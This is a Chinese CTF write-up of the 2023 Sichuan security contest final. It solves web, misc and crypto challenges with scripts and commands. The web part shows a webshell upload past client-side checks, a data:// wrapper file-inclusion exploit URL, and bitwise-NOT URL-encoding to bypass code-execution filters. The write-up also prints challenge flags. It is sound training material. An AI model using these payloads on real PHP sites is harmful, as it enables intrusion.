2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup

文章目录

  • Web
    • 前端验证
    • PHP_Try
  • Misc
    • HelloWorld
    • 密码在这
    • easy_log
  • Crypto
    • baser

线下“断网”CTF个人赛,题都很简单(新手级难度),总共10道题目,解了6题。

赛题附件请自取:
链接:https://pan.baidu.com/s/1lgNEBO7a1L4KLE2t_pXoow 
提取码:moch

Web

前端验证

就简单的绕过前端验证,Disable JavaScript插件直接一开,直接传PHP WebShell即可

在这里插入图片描述

PHP_Try

都是非常常见的考点


error_reporting(0);
$username=$_GET['username'];
$file=$_GET['file'];
$a=$_GET['a'];

if(is_numeric($username)&&isset($username)){
      highlight_file(__FILE__);
}
else{
      echo "

传一个 username 试试 ?

"
; die("

username 用户讨厌字母

"
); } if(substr(md5($username),0,5)==="3a824"){ echo("惊呆了,小伙子
"
); if(isset($a)&&file_get_contents($a,'r')==="this is so easy") { echo "hello
"
; if(!preg_match('/fff.php/',$file)&&preg_match('/filter|data|input|base|[0-9]/i',$file)){ echo "小伙子,你想嘎啥?"; exit(0); } include($file); } else { die("??这就要结束了
"
); } } else{ die("咋回事???
"
); } ?>

首先爆破username的正确数值,简单写个Python跑即可

import hashlib

for num in range(10000):
	numMd5 = hashlib.md5(str(num).encode()).hexdigest()
	if numMd5[0:5] == "3a824":
		print(numMd5, num)

2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup_第1张图片
isset($a)&&file_get_contents($a,'r')==="this is so easy"直接用伪协议传,然后包含fff.php即可

/index.php?username=2022&a=data://text/plain,this is so easy&file=fff.php

2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup_第2张图片
访问/fl4a4asdjkg.php,发现是代码执行绕过
2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup_第3张图片

直接用我的这篇文章里的URL编码取反绕过:浅谈PHP代码执行中出现过滤限制的绕过执行方法

PS C:\Users\Administrator\Downloads> php -r "var_dump(urlencode(~'system'));"
Command line code:1:
string(18) "%8C%86%8C%8B%9A%92"
PS C:\Users\Administrator\Downloads> php -r "var_dump(urlencode(~'whoami'));"
Command line code:1:
string(18) "%88%97%90%9E%92%96"

2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup_第4张图片

Misc

HelloWorld

直接搜索关键字DASCTF{,选择替换即可显示出来

2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup_第5张图片

DASCTF{63fe66f7bb230272df7c34e8c3b7266d}

密码在这

按照长度排序,发现最长的一个包有RAR

2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup_第6张图片
试用tshark过滤提取出来

D:\Wireshark\tshark.exe -r .\pcap.pcap -T fields -Y data.data -e data.data

2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup_第7张图片

Python简单转换一下

hexString = "526172211a0701003392b5e50a01050600050101808000833fe6aa5502033cb000049c0020d4bc9c5b80030008666c61672e747874300100030f7664e898bc843a2deea13f7084beb0ef58ebe9779b9c1b4a678da13b6e641cf4869d9f0d797fcab50d7368a10a0302d30a2116f4bcd80157108ce51fbd5c9498348f5effcf4cee88444551f18f82c56db23536e613490e3e20d60911b1f03b06593de5337537bd1d77565103050400ffa567b22002030b0005003000000000800000067365637265740a0302e0c0f918f4bcd801d12727d32103230bb7800004aa800000e58ac34b8003000353544d0a073a70617373776f7264c5ab34240032fa24ba0f9741b3160e14341160b44cc1133550dffe0f9ee8f7eba584c76f6600d2558fb21a3fe410426e7a5c998b2ee5a81d77565103050400444f4e4503e70e63"
with open('flag.rar', 'wb') as f:
	f.write(bytes.fromhex(hexString))

2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup_第8张图片

注意,前面这些干扰数据需要去掉,得到Rar,题目提示说需要使用winrar打开,盲猜就是存在NTFS流隐写

NTFS文件流隐写如果要压缩必须使用WinRar压缩

使用Winrar解压

2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup_第9张图片

NtfsStreansEdutior发现隐藏的密码

2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup_第10张图片
导出,得到解压密码:SXMlMjB0aGlzJTIwdGhlJTIwcGFzc3dvcmQlM0Y=
解压flag.rar得到flag

DASCTF{I have learned it!!!}

easy_log

很明显的二分法布尔盲注入流量,%3E是大于,并且发现了一段base64

PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('cGFzc3dvcmQ6IHNAZncjdiVmOQ=='));"
Command line code:1:
string(19) "password: s@fw#v%f9"


这里的重点就是,稍微需要一点点理解二分法布尔盲注入,使用大于的情况下判断的结果是怎么得出的

布尔盲注是根据返回的包不同,观察是否查询语法正确的,这里虽然看不到返回包的内容,但是可以看到返回包的长度,就是状态码200之后的就是返回包长度。

flag字段的第一位内容为例,如果ascii(substr((select group_concat(flag) from flag),1,1))>78,那么接下来的就是继续比较>78的数值了,但是这里第一位的内容后续的查询记录都是<78的,所以就能得出当返回包长度为704的时候就是查询错误,反之当返回包长度为699时则为查询正确

2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup_第11张图片
所以判断每一位的最后一条查询记录是否为True即可,如果为True,则需要数值+1,反之则就是该值

with open('access.log', 'r') as f:
	lines = f.readlines()
	idx = 2
	result = '' 
	for i in range(len(lines)):
		if 'flag),{},1))'.format(idx) in lines[i]:
			idx += 1
			asciiCode = lines[i-1][lines[i-1].find('%3E')+3:lines[i-1].find(' HTTP/1.1')]
			if ' 200 699 ' in lines[i-1]:
				result += chr(int(asciiCode) + 1)
			else:
				result += chr(int(asciiCode))
print(result)
with open('flag.zip', 'wb') as f:
	f.write(bytes.fromhex(result))

得到一个压缩包,密码前面也有,直接解压得到flag

DASCTF{fd67c1798e9cb29e8fc467e9dcefbd7f}

Crypto

baser

from uuid import *

from caser import something
from secret import flag
base_table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
result =""
for i in range(len(flag)):
    if flag[i] in base_table:
        result +=base_table[(base_table.index(flag[i])+33)%64]
    else:
        result +=flag[i]
print(result)

#khzj0m{9caZ87VV-8X77-WW/+-78Wa-eZVdaYYe9/dZ}

很简单的逆向

base_table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
result = "khzj0m{9caZ87VV-8X77-WW/+-78Wa-eZVdaYYe9/dZ}"
flag = ""
for i in range(len(result)):
	if result[i] in base_table:
		flag += base_table[(base_table.index(result[i])-33)%64]
	else:
		flag += result[i]
print(flag)
PS C:\Users\Administrator\Downloads> python .\code.py
DASCTF{c754ba00-b2aa-11ed-ab15-94085339ce84}

你可能感兴趣的:(Game,Writeups,四川省网络与信息安全技能大赛)